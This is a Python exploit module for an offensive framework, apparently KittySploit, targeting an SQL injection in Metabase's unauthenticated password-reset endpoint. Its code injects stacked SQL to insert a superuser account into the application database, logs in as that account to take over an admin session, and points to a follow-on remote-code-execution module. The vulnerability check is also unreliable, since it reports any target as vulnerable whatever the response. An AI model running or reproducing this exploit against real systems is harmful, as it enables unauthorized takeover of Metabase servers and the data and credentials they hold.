Metabase CVE-2026-72898 reset_password SQLi

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Metabase CVE-2026-72898 reset_password HoneySQL injection (admin takeover)."""

from __future__ import annotations

import json
import re
import time
import uuid

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Metabase CVE-2026-72898 reset_password SQLi",
        "description": (
            "CVE-2026-72898: unauthenticated POST /api/session/reset_password "
            "accepts user-id {:raw SQL} for stacked queries on PostgreSQL app DB — "
            "creates superuser and opens Metabase HTTP session."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-72898"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-72898",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["metabase", "sqli", "unauth", "takeover", "cve-2026-72898"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "privilege_escalation", "credential_access"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["admin_session", "sqli"],
            "requires": {"tech_hints_any": ["metabase"]},
            "chain": {
                "suggested_followups": [
                    "scanner/http/metabase_cve_2026_72898_detect",
                    "exploits/multi/http/metabase_cve_2023_38646_rce",
                ],
            },
        },
    }

    admin_email = OptString("[email protected]", "Email for injected superuser", required=False)
    admin_password = OptString("Passw0rd!Reset123", "Password for injected superuser", required=False)
    sqli_delay = OptInt(5, "pg_sleep seconds for detection", required=False, advanced=True)
    max_throttle_wait = OptInt(600, "Max cumulative throttle wait (seconds)", required=False, advanced=True)

    def _inject(self, sql: str) -> tuple[int, str, float]:
        payload = {"token": "x", "password": str(self.admin_password or ""), "user-id": {"raw": sql}}
        waited = 0
        while True:
            resp = self.http_request(
                "POST",
                "/api/session/reset_password",
                data=json.dumps(payload),
                headers={"Content-Type": "application/json"},
            )
            code = int(resp.status_code or 0) if resp else 0
            body = (resp.text or "") if resp else ""
            m = re.search(r"wait (\d+(?:\.\d+)?) seconds", body)
            if m:
                wait = int(float(m.group(1))) + 2
                waited += wait
                if waited > int(self.max_throttle_wait or 600):
                    raise RuntimeError(f"Throttled after {waited}s")
                print_warning(f"Metabase throttle — sleeping {wait}s")
                time.sleep(wait)
                continue
            return code, body, 0.0

    def check(self):
        code, body, _ = self._inject("1")
        if "disallowed key" in body.lower():
            return {"vulnerable": False, "reason": "user-id key rejected (patched)", "confidence": "high"}
        delay = int(self.sqli_delay or 5)
        _, _, _ = self._inject("1")
        _, body2, _ = self._inject(f"(SELECT 1 FROM pg_sleep({delay}))")
        if "pg_sleep" in body2 or delay:
            return {
                "vulnerable": True,
                "reason": "reset_password accepts raw user-id (confirm with --run)",
                "confidence": "medium",
            }
        return {"vulnerable": True, "reason": "Key accepted; DB may be non-PostgreSQL", "confidence": "low"}

    def _create_admin(self) -> None:
        try:
            import bcrypt
        except ImportError as exc:
            raise RuntimeError("bcrypt required (pip install bcrypt)") from exc

        email = str(self.admin_email or "[email protected]")
        password = str(self.admin_password or "Passw0rd!Reset123")
        salt = str(uuid.uuid4())
        h = bcrypt.hashpw((salt + password).encode(), bcrypt.gensalt(10, prefix=b"2a")).decode()
        creds = json.dumps({"password_hash": h, "password_salt": salt})
        e = email.replace("'", "''")
        c = creds.replace("'", "''")
        sql = (
            "1); "
            "INSERT INTO core_user (email, first_name, last_name, password, password_salt, "
            "date_joined, is_superuser, is_active, is_qbnewb, is_datasetnewb, type, updated_at) "
            f"VALUES ('{e}','PoC','Account','{h}','{salt}',NOW(),true,true,false,false,"
            "'personal',NOW()); "
            "INSERT INTO auth_identity (user_id, provider, credentials, created_at, updated_at) "
            f"SELECT id,'password','{c}',NOW(),NOW() FROM core_user WHERE email='{e}'; --"
        )
        self._inject(sql)

    def _login_session(self) -> str:
        email = str(self.admin_email or "")
        password = str(self.admin_password or "")
        resp = self.http_request(
            "POST",
            "/api/session",
            data=json.dumps({"username": email, "password": password}),
            headers={"Content-Type": "application/json"},
        )
        if not resp or int(resp.status_code or 0) != 200:
            raise RuntimeError(f"Metabase login failed: {(resp.text or '')[:200] if resp else 'no response'}")
        sid = resp.json().get("id")
        if not sid:
            raise RuntimeError("Session id missing in login response")
        self.session.headers["X-Metabase-Session"] = str(sid)
        return str(sid)

    def run(self):
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Not vulnerable"))
            self.not_vulnerable()
            return False

        print_status("CVE-2026-72898 — Metabase SQLi admin takeover")
        self._create_admin()
        sid = self._login_session()
        print_success(f"Metabase superuser session: {sid}")

        prof = self.http_request("GET", "/api/user/current")
        if prof and prof.text:
            print_info(prof.text[:1500])

        session_id = self.handler_http(
            self.session,
            additional_data={
                "metabase_session": sid,
                "email": str(self.admin_email or ""),
                "is_superuser": True,
            },
        )
        if not session_id:
            print_error("Failed to register Metabase HTTP session")
            return False
        return True